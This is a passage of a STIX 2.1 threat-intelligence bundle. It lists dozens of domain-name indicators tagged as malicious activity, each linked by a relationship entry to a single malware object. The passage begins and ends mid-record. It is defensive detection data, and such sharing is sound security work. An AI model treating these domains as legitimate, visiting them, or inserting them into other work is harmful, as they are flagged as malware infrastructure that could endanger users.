"relationship--f1ed9d4b-0437-48e6-a400-7122764190aa", "created": "2024-01-26T21:28:21.389643Z", "modified": "2024-01-26T21:28:21.389643Z", "relationship_type": "indicates", "source_ref": "indicator--2b2776e6-a9c7-4f74-8acc-ae70e159a2cb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bcab32a9-ccbc-44c2-b287-69256c03a2a2", "created": "2024-01-26T21:28:21.389739Z", "modified": "2024-01-26T21:28:21.389739Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='secure-access10.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.389739Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--739fa0a2-54f3-4634-af69-3c90e9264d77", "created": "2024-01-26T21:28:21.390123Z", "modified": "2024-01-26T21:28:21.390123Z", "relationship_type": "indicates", "source_ref": "indicator--bcab32a9-ccbc-44c2-b287-69256c03a2a2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e375e60a-b775-422c-b3e1-476edf41cceb", "created": "2024-01-26T21:28:21.39022Z", "modified": "2024-01-26T21:28:21.39022Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='puffyteddybear.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.39022Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f664c120-c926-44d2-941e-7bde8106fd24", "created": "2024-01-26T21:28:21.390608Z", "modified": "2024-01-26T21:28:21.390608Z", "relationship_type": "indicates", "source_ref": "indicator--e375e60a-b775-422c-b3e1-476edf41cceb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--091233ed-08db-40f5-9816-239048ac67ad", "created": "2024-01-26T21:28:21.390704Z", "modified": "2024-01-26T21:28:21.390704Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rentalindustries.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.390704Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0b4f82ce-016a-4a94-9eb3-9c577afd9c87", "created": "2024-01-26T21:28:21.391095Z", "modified": "2024-01-26T21:28:21.391095Z", "relationship_type": "indicates", "source_ref": "indicator--091233ed-08db-40f5-9816-239048ac67ad", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--75e35d80-e796-4dcc-953b-be2d25cc0a6e", "created": "2024-01-26T21:28:21.391195Z", "modified": "2024-01-26T21:28:21.391195Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='oldmywater.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.391195Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--204668f1-585a-4d01-b734-ef62c6fdf8a6", "created": "2024-01-26T21:28:21.391583Z", "modified": "2024-01-26T21:28:21.391583Z", "relationship_type": "indicates", "source_ref": "indicator--75e35d80-e796-4dcc-953b-be2d25cc0a6e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--08a71a06-a10e-439c-ae96-1586e33d24e0", "created": "2024-01-26T21:28:21.391681Z", "modified": "2024-01-26T21:28:21.391681Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='expiringdate.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.391681Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--79d1c7fd-aa2f-4bb7-b83f-798da26f1371", "created": "2024-01-26T21:28:21.392065Z", "modified": "2024-01-26T21:28:21.392065Z", "relationship_type": "indicates", "source_ref": "indicator--08a71a06-a10e-439c-ae96-1586e33d24e0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d00fcc34-fa23-4777-9f8d-b7df0e62cd38", "created": "2024-01-26T21:28:21.392159Z", "modified": "2024-01-26T21:28:21.392159Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ikomek.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.392159Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b1f84d12-1c87-447c-988a-c28c2904a589", "created": "2024-01-26T21:28:21.39254Z", "modified": "2024-01-26T21:28:21.39254Z", "relationship_type": "indicates", "source_ref": "indicator--d00fcc34-fa23-4777-9f8d-b7df0e62cd38", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--874c22df-09c5-4865-b632-4a3ac01d75a9", "created": "2024-01-26T21:28:21.392635Z", "modified": "2024-01-26T21:28:21.392635Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sportssaint.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.392635Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5fc04a89-fc7f-419d-b6df-e7cfed854a55", "created": "2024-01-26T21:28:21.39302Z", "modified": "2024-01-26T21:28:21.39302Z", "relationship_type": "indicates", "source_ref": "indicator--874c22df-09c5-4865-b632-4a3ac01d75a9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7352239a-693e-47d0-9df4-6b53b30cfccc", "created": "2024-01-26T21:28:21.393115Z", "modified": "2024-01-26T21:28:21.393115Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='koramaghreb.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.393115Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dfe6de33-8e68-4066-bf46-cf6364451105", "created": "2024-01-26T21:28:21.393583Z", "modified": "2024-01-26T21:28:21.393583Z", "relationship_type": "indicates", "source_ref": "indicator--7352239a-693e-47d0-9df4-6b53b30cfccc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dd0200f9-408e-4cac-85da-801e8cbbb798", "created": "2024-01-26T21:28:21.39368Z", "modified": "2024-01-26T21:28:21.39368Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='getphotosinstant.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.39368Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9f5425f5-2479-4c65-921b-abc242dd4f16", "created": "2024-01-26T21:28:21.394071Z", "modified": "2024-01-26T21:28:21.394071Z", "relationship_type": "indicates", "source_ref": "indicator--dd0200f9-408e-4cac-85da-801e8cbbb798", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--535962fb-5140-4f2d-9331-46b1bc143918", "created": "2024-01-26T21:28:21.394174Z", "modified": "2024-01-26T21:28:21.394174Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='martinipicnic.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.394174Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a30c507e-c654-45ee-8f60-ab0204419c20", "created": "2024-01-26T21:28:21.394566Z", "modified": "2024-01-26T21:28:21.394566Z", "relationship_type": "indicates", "source_ref": "indicator--535962fb-5140-4f2d-9331-46b1bc143918", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f29abb01-03b6-4772-88de-f6e4c2875abb", "created": "2024-01-26T21:28:21.394663Z", "modified": "2024-01-26T21:28:21.394663Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mobileweatherweb.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.394663Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--29c2fdc6-ca6b-4984-b157-e75054935ff3", "created": "2024-01-26T21:28:21.395049Z", "modified": "2024-01-26T21:28:21.395049Z", "relationship_type": "indicates", "source_ref": "indicator--f29abb01-03b6-4772-88de-f6e4c2875abb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7e8eb846-e23a-48f8-8e07-f6d7c1f88c8d", "created": "2024-01-26T21:28:21.395144Z", "modified": "2024-01-26T21:28:21.395144Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='puttylearning.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.395144Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--728d8807-0aac-4645-a432-06803c5a7151", "created": "2024-01-26T21:28:21.395531Z", "modified": "2024-01-26T21:28:21.395531Z", "relationship_type": "indicates", "source_ref": "indicator--7e8eb846-e23a-48f8-8e07-f6d7c1f88c8d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--49dd9273-1691-47b4-92db-072b2987d8a3", "created": "2024-01-26T21:28:21.395638Z", "modified": "2024-01-26T21:28:21.395638Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urlpage-redirect.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.395638Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--406bd367-4dce-4d12-acf6-636f333f2e7f", "created": "2024-01-26T21:28:21.396028Z", "modified": "2024-01-26T21:28:21.396028Z", "relationship_type": "indicates", "source_ref": "indicator--49dd9273-1691-47b4-92db-072b2987d8a3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--aab6a684-b6e0-4012-8fdb-2916520c9370", "created": "2024-01-26T21:28:21.396125Z", "modified": "2024-01-26T21:28:21.396125Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='traffic-updates.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.396125Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1afcbdd0-e937-4b78-b938-3a80b18aed59", "created": "2024-01-26T21:28:21.396516Z", "modified": "2024-01-26T21:28:21.396516Z", "relationship_type": "indicates", "source_ref": "indicator--aab6a684-b6e0-4012-8fdb-2916520c9370", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e670d416-bad6-4ecb-828a-8e0714752a23", "created": "2024-01-26T21:28:21.396611Z", "modified": "2024-01-26T21:28:21.396611Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='closefly.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.396611Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--beb079ba-05c2-47ca-b6be-38851d83d2a6", "created": "2024-01-26T21:28:21.396992Z", "modified": "2024-01-26T21:28:21.396992Z", "relationship_type": "indicates", "source_ref": "indicator--e670d416-bad6-4ecb-828a-8e0714752a23", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--795d972c-3518-40b1-9214-024e03248448", "created": "2024-01-26T21:28:21.397087Z", "modified": "2024-01-26T21:28:21.397087Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='youliehow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.397087Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1948d4eb-851d-463b-a303-6f73188ceca8", "created": "2024-01-26T21:28:21.397468Z", "modified": "2024-01-26T21:28:21.397468Z", "relationship_type": "indicates", "source_ref": "indicator--795d972c-3518-40b1-9214-024e03248448", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2ea02d8e-291b-4380-8db9-ddf598007c16", "created": "2024-01-26T21:28:21.397563Z", "modified": "2024-01-26T21:28:21.397563Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='forgetjustit.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.397563Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fec2d216-00c2-4e4e-ba59-ed0d1578d8e9", "created": "2024-01-26T21:28:21.398033Z", "modified": "2024-01-26T21:28:21.398033Z", "relationship_type": "indicates", "source_ref": "indicator--2ea02d8e-291b-4380-8db9-ddf598007c16", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--36271944-810b-4b57-88f7-478634ec9e8d", "created": "2024-01-26T21:28:21.398131Z", "modified": "2024-01-26T21:28:21.398131Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='buildingcarpet.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.398131Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0076ae55-e8b5-4509-8261-ab6ef566ae8b", "created": "2024-01-26T21:28:21.398523Z", "modified": "2024-01-26T21:28:21.398523Z", "relationship_type": "indicates", "source_ref": "indicator--36271944-810b-4b57-88f7-478634ec9e8d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--36f38a17-a937-440c-8edc-2e4360feffa8", "created": "2024-01-26T21:28:21.39862Z", "modified": "2024-01-26T21:28:21.39862Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hairdresseraroundme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.39862Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--34965c8b-9ab7-4c9a-83e4-f98a3c0fa545", "created": "2024-01-26T21:28:21.399021Z", "modified": "2024-01-26T21:28:21.399021Z", "relationship_type": "indicates", "source_ref": "indicator--36f38a17-a937-440c-8edc-2e4360feffa8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1ff4eeab-dda8-4a4f-8b67-adaadc092772", "created": "2024-01-26T21:28:21.399116Z", "modified": "2024-01-26T21:28:21.399116Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='convertedversion.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.399116Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f0b4844a-7350-45c2-9902-cf7b226e86c2", "created": "2024-01-26T21:28:21.399505Z", "modified": "2024-01-26T21:28:21.399505Z", "relationship_type": "indicates", "source_ref": "indicator--1ff4eeab-dda8-4a4f-8b67-adaadc092772", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0478f6f4-c0cf-4f7c-a8d1-ca67e45390a5", "created": "2024-01-26T21:28:21.3996Z", "modified": "2024-01-26T21:28:21.3996Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='yourbestefforts.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.3996Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6653eff3-46a5-450c-8a3f-0a5e077f3557", "created": "2024-01-26T21:28:21.399988Z", "modified": "2024-01-26T21:28:21.399988Z", "relationship_type": "indicates", "source_ref": "indicator--0478f6f4-c0cf-4f7c-a8d1-ca67e45390a5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--eaaf0bc0-498f-49bb-b453-5afe08d8c44f", "created": "2024-01-26T21:28:21.400083Z", "modified": "2024-01-26T21:28:21.400083Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='onetreeinheaven.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.400083Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bb6447e5-d919-4c0b-8878-8721dca7c325", "created": "2024-01-26T21:28:21.400473Z", "modified": "2024-01-26T21:28:21.400473Z", "relationship_type": "indicates", "source_ref": "indicator--eaaf0bc0-498f-49bb-b453-5afe08d8c44f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--10bf2162-bfbf-4bb3-9cea-0de04ac2db18", "created": "2024-01-26T21:28:21.400577Z", "modified": "2024-01-26T21:28:21.400577Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='standartsheet.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.400577Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--19bbb904-072d-4d27-bf43-61d7165cc39a", "created": "2024-01-26T21:28:21.400961Z", "modified": "2024-01-26T21:28:21.400961Z", "relationship_type": "indicates", "source_ref": "indicator--10bf2162-bfbf-4bb3-9cea-0de04ac2db18", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c79f37d3-ad6b-48be-91cc-e5ae2b215fac", "created": "2024-01-26T21:28:21.401056Z", "modified": "2024-01-26T21:28:21.401056Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='kurjerserviss.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.401056Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--41c0e49e-a28c-4084-bfcc-f6283d7d6197", "created": "2024-01-26T21:28:21.401441Z", "modified": "2024-01-26T21:28:21.401441Z", "relationship_type": "indicates", "source_ref": "indicator--c79f37d3-ad6b-48be-91cc-e5ae2b215fac", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--40f8389f-57b6-4fb6-a368-52fa173b39ba", "created": "2024-01-26T21:28:21.401539Z", "modified": "2024-01-26T21:28:21.401539Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='freelancers-team.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.401539Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ed2f73ec-bd7c-4035-acd9-fa58e3501e82", "created": "2024-01-26T21:28:21.401928Z", "modified": "2024-01-26T21:28:21.401928Z", "relationship_type": "indicates", "source_ref": "indicator--40f8389f-57b6-4fb6-a368-52fa173b39ba", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f8b1246d-71e2-41c1-8629-18acdc5046bd", "created": "2024-01-26T21:28:21.402022Z", "modified": "2024-01-26T21:28:21.402022Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-page.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.402022Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c9691215-dcd3-49cf-97a3-dc049e8c1887", "created": "2024-01-26T21:28:21.402478Z", "modified": "2024-01-26T21:28:21.402478Z", "relationship_type": "indicates", "source_ref": "indicator--f8b1246d-71e2-41c1-8629-18acdc5046bd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--113246f6-8376-4553-bd05-1f57c2531f59", "created": "2024-01-26T21:28:21.402577Z", "modified": "2024-01-26T21:28:21.402577Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='whereismybonus.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.402577Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ef45fdeb-47f7-4722-aae4-a65d171efb48", "created": "2024-01-26T21:28:21.402967Z", "modified": "2024-01-26T21:28:21.402967Z", "relationship_type": "indicates", "source_ref": "indicator--113246f6-8376-4553-bd05-1f57c2531f59", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bd7dc7f5-bb09-4ad0-8396-9377ab34bbd9", "created": "2024-01-26T21:28:21.403069Z", "modified": "2024-01-26T21:28:21.403069Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bundlestofear.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.403069Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--19f56b77-e91c-4bea-9500-1b67cbb0abf6", "created": "2024-01-26T21:28:21.403452Z", "modified": "2024-01-26T21:28:21.403452Z", "relationship_type": "indicates", "source_ref": "indicator--bd7dc7f5-bb09-4ad0-8396-9377ab34bbd9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--912e0147-a1ed-4b01-b441-16f1800ca050", "created": "2024-01-26T21:28:21.403547Z", "modified": "2024-01-26T21:28:21.403547Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='relatedspams.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.403547Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2d55dcd7-2506-4d23-bd3f-06991a9574f9", "created": "2024-01-26T21:28:21.403932Z", "modified": "2024-01-26T21:28:21.403932Z", "relationship_type": "indicates", "source_ref": "indicator--912e0147-a1ed-4b01-b441-16f1800ca050", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e42ac148-84a5-4ee6-8bac-6fd83e8b014e", "created": "2024-01-26T21:28:21.404027Z", "modified": "2024-01-26T21:28:21.404027Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='formattingcells.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.404027Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--558b4b3c-604d-47c4-840f-3db828dee872", "created": "2024-01-26T21:28:21.404418Z", "modified": "2024-01-26T21:28:21.404418Z", "relationship_type": "indicates", "source_ref": "indicator--e42ac148-84a5-4ee6-8bac-6fd83e8b014e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b412ea34-773c-4eb2-8ebe-7aa94f4f0322", "created": "2024-01-26T21:28:21.404516Z", "modified": "2024-01-26T21:28:21.404516Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='chickenwaves.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.404516Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d3d7cd0b-29f3-4987-adcf-ca17c11e3e33", "created": "2024-01-26T21:28:21.404909Z", "modified": "2024-01-26T21:28:21.404909Z", "relationship_type": "indicates", "source_ref": "indicator--b412ea34-773c-4eb2-8ebe-7aa94f4f0322", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d108a7b1-38cc-4d58-b36d-41e8598a0fc2", "created": "2024-01-26T21:28:21.405007Z", "modified": "2024-01-26T21:28:21.405007Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='discountstores.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.405007Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d8399ba8-cc4e-4562-a8b9-c6c4cf75128f", "created": "2024-01-26T21:28:21.405396Z", "modified": "2024-01-26T21:28:21.405396Z", "relationship_type": "indicates", "source_ref": "indicator--d108a7b1-38cc-4d58-b36d-41e8598a0fc2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--df34da09-68b0-4fad-b9ab-73779f3fbbb2", "created": "2024-01-26T21:28:21.405491Z", "modified": "2024-01-26T21:28:21.405491Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='centrasia-news.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.405491Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e26f3c5a-1894-4095-8300-1006e9b9a3f0", "created": "2024-01-26T21:28:21.405879Z", "modified": "2024-01-26T21:28:21.405879Z", "relationship_type": "indicates", "source_ref": "indicator--df34da09-68b0-4fad-b9ab-73779f3fbbb2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e8a4541d-65da-4845-a535-83847d18b227", "created": "2024-01-26T21:28:21.40598Z", "modified": "2024-01-26T21:28:21.40598Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='littlefrogalarm.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.40598Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--970c10f8-bce8-4a77-ba97-3650700fde8f", "created": "2024-01-26T21:28:21.406369Z", "modified": "2024-01-26T21:28:21.406369Z", "relationship_type": "indicates", "source_ref": "indicator--e8a4541d-65da-4845-a535-83847d18b227", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fb64ae70-3fd1-4514-93fb-3f5f2a37b3c1", "created": "2024-01-26T21:28:21.406472Z", "modified": "2024-01-26T21:28:21.406472Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='novosti247.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.406472Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--603131a1-5b9b-42d9-be42-cfb0d218ff62", "created": "2024-01-26T21:28:21.406933Z", "modified": "2024-01-26T21:28:21.406933Z", "relationship_type": "indicates", "source_ref": "indicator--fb64ae70-3fd1-4514-93fb-3f5f2a37b3c1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--aae95542-1246-45ee-8a4d-3ea7c676d309", "created": "2024-01-26T21:28:21.40703Z", "modified": "2024-01-26T21:28:21.40703Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nnews.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.40703Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e1c408cc-deec-464a-b417-c7d2d264002d", "created": "2024-01-26T21:28:21.407409Z", "modified": "2024-01-26T21:28:21.407409Z", "relationship_type": "indicates", "source_ref": "indicator--aae95542-1246-45ee-8a4d-3ea7c676d309", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--69f34047-a295-4f1e-b230-95e12bc0e39d", "created": "2024-01-26T21:28:21.407512Z", "modified": "2024-01-26T21:28:21.407512Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='handcreamforyou.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.407512Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c4493ff3-8292-4ca2-86c2-7cd5de4cd4e3", "created": "2024-01-26T21:28:21.407901Z", "modified": "2024-01-26T21:28:21.407901Z", "relationship_type": "indicates", "source_ref": "indicator--69f34047-a295-4f1e-b230-95e12bc0e39d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--76d17ffd-defd-40eb-886c-3429b4b1a1b9", "created": "2024-01-26T21:28:21.407999Z", "modified": "2024-01-26T21:28:21.407999Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='uidebol.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.407999Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--caa528ca-07b5-4239-a20e-26d4d4bcbf03", "created": "2024-01-26T21:28:21.40838Z", "modified": "2024-01-26T21:28:21.40838Z", "relationship_type": "indicates", "source_ref": "indicator--76d17ffd-defd-40eb-886c-3429b4b1a1b9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--798c767e-83b0-4391-b1a6-cd7c836cea2a", "created": "2024-01-26T21:28:21.408481Z", "modified": "2024-01-26T21:28:21.408481Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='miles-club.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.408481Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5565c6b6-efc5-4b15-ad74-d484b87007c6", "created": "2024-01-26T21:28:21.408864Z", "modified": "2024-01-26T21:28:21.408864Z", 